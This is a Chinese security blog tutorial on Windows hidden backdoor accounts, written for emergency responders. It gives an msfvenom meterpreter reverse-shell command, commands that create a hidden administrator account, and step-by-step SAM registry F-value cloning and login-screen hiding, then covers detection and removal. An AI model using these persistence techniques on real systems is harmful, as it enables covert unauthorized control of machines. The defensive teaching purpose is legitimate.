🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
[ 笔记文档下载地址:笔记比博客更全:笔记包含Linux和Windows后门 ]
文章目录
1.1 Windows后门应急-1:windows后门账户
1.1.1 隐藏账户介绍
1.1.1.1 简介
隐藏账户是一种通过在系统中创建不易被发现的用户账户来实现持久化访问的技术。攻击者通常会创建一个具有高权限的隐藏账户,以便在后续的攻击中能够轻松地重新获得系统的控制权。
1.1.1.2 原理
隐藏账户的工作原理基于Windows操作系统中的用户账户管理机制。攻击者可以通过以下方式实现隐藏账户:
1.创建新账户
:使用工具或命令行创建一个新用户账户。
2.修改注册表
:修改Windows注册表中的相关项,以隐藏账户信息。
3.利用组策略
:通过组策略设置来限制账户信息的显示。
4.修改系统文件:直接修改系统文件,如SAM
数据库,以隐藏账户的存在。
1.1.1.3 实现步骤
1.
生成恶意程序
:首先,攻击者需要生成一个恶意可执行文件(例如,一个反向Shell或下载器)。
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.128 lport=55555 -o malicious.exe
2.
创建隐藏账户
:使用PowerShell脚本或其他工具创建一个隐藏账户。以下是一个使用PowerShell创建隐藏账户的示例:
$NewUser = "HiddenUser"
$NewUserPassword = ConvertTo-SecureString "StrongPassword123!" -AsPlainText -Force
New-LocalUser -Name $NewUser -Password $NewUserPassword -AccountNeverExpires -UserMayNotChangePassword -PasswordNeverExpires
3.
修改注册表隐藏账户
:通过修改注册表项来隐藏账户信息。以下是一个使用PowerShell修改注册表的示例:
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' -Name "HiddenUser" -Value 0
4.
验证隐藏账户
:确认隐藏账户已成功创建并隐藏。可以使用以下命令查看账户列表:
Get-LocalUser | Select-Object Name, Enabled
1.1.1.4 防御措施
1.
定期检查账户列表
:管理员应定期检查系统中的用户账户列表,特别是那些不熟悉的账户或最近添加的账户。可以使用以下命令列出所有本地用户账户:
Get-LocalUser
2.
监控异常行为
:使用安全软件和入侵检测系统(IDS)监控系统中的异常行为,特别是那些涉及用户账户创建和修改的操作。
3.限制权限
:最小化用户和服务账户的权限,避免使用高权限账户进行日常操作。确保只有必要的服务和应用程序具有创建和管理用户账户的权限。
4.日志审计
:启用详细的系统日志记录,并定期审查日志文件,以发现任何可疑的账户活动。
5.更新和补丁管理
:保持操作系统和应用程序的最新状态,及时应用安全补丁,以修复已知的漏洞。
1.1.2 隐藏账户创建实战
1.1.2.1 前提条件
假设在攻击的过程中,我们通过利用各种getshell手段,不仅成功渗透进了目标服务器的防御体系,还进一步拿到了具有最高控制权限的administrator权限,这意味着我们已经能够完全掌控这台服务器,可以执行任何我们需要的操作。这时候我们需要进行权限维持,从而创建各种后门,包括我们这里讲到的启动项后门。
1.1.2.2 环境介绍
靶机: windows Server2012
IP: 10.0.0.165
攻击机: kali
IP: 192.168.223.182
1.1.2.3 创建一个隐藏账号
net user powershell$ w123456! /add
添加powershell$隐藏用户
net localgroup administrators powershell$ /add
将powershell$用户添加进管理员组中
创建完成之后,输入net user 查看账户,发现我们创建的隐藏用户隐藏成功
net user
1.1.2.4 隐藏不彻底
虽然用net user 看不到,但是还有其他方式可以看到
1.1.2.4.1 管理账户查看
通过控制面板–用户账户–管理账户查看
1.1.2.4.2 管理工具查看
通过管理工具–计算机管理–本地用户和组–用户也可以看到
1.1.2.4.3 注销登录页面查看
这里也可以看到创建的隐藏账户
1.1.2.5 修改注册表
为了更好的隐藏新建的账户,还需要进行修改注册表文件操作。
1.1.2.5.1 首先打开注册表编辑器
regedit
1.1.2.5.2 确保可以看到SAM路径下的文件
找到
HKEY_LOCAL_MACHINE\SAM\SAM
,点击右键,选择权限
将Administrator
用户的权限,设置成完全控制
,
重新打开注册表,确保可以看到SAM路径下的文件
1.1.2.5.3 找到用户对应的表
其次前往
SAM/Domains/Account/Users/Names
处,选择Administrator
用户,在右侧的键值处可以找到对应的值如0x1f4
,然后从左侧的Users目录下可以找到对应的文件。
其次前往
SAM/Domains/Account/Users/Names
处,选择Administrator
用户,在右侧的键值处可以找到对应的值如0x3ec
,然后从左侧的Users
目录下可以找到对应的文件。
1.1.2.5.4 替换F值
然后从对应的
000001F4
文件中将键值对F的值复制出来。然后同理找到隐藏账户powershell$
所对应的文件,并将从Administrator
文件中复制出来的F值粘贴进powershell$
文件中。
把之前复制的f值粘贴到0x3ec的f值中
1.1.2.5.5 导出需隐藏用户的表
最后将
powershell$
和000003EC
从注册表中右键导出,并删除powershell$
用户,然后将刚刚导出的两个文件重新导入进注册表中即可实现powershell$
用户的隐藏。
导出powershell$
表
导出
000003EC
表
导出来的表如下
1.1.2.5.6 删除需要隐藏的用户
net user powershell$ /del
此时注册表
1.1.2.5.7 导入需隐藏用户的表
导入
000003EC
表
导入
powershell$
表
此时注册表
1.1.2.5.8 隐藏状态
管理账户下看不到隐藏用户
计算机管理用户下看不到隐藏用户
注销登录页面查看任然可以看到创建的隐藏账户
1.1.2.6 登陆界面隐藏账户
在注册表中进行设置,使用户不在登录界面显示。
终端中输入:regedit
回车打开注册表编辑器。
regedit
依次定位到:进入注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
右键新建项SpecialAccounts
右键新建项
UserList
右键新建项
WORD32
值
名称为需要隐藏的账户,值为0
值为0表示隐藏,值为1表示显示
最终如下
1.1.2.7 用户被完全隐藏
登录界面也看不到了
1.1.2.8用户正常登录
采用
powershell$
登录,成功登录
登陆进来用的是
administrator
的身份
1.1.3 隐藏账户应急实战
对比以下三张表数量及名称,发现
powershell$
隐藏用户
1.1.3.1 注册表中用户
查看注册表中
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
位置的用户名
1.1.3.2 管理账户中用户
控制面板–用户账户–管理账户
1.1.3.3 管理工具中用户
管理工具–计算机管理–本地用户和组–用户
1.1.3.4 删除隐藏账户
删除异常注册表
删除异常用户
相关资源
[ 笔记文档下载地址:笔记比博客更全:笔记包含Linux和Windows后门 ]
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-1:windows后门账户
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-2:计划任务后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-3:windows服务后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-4:启动项后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-5:Shift 粘贴键后门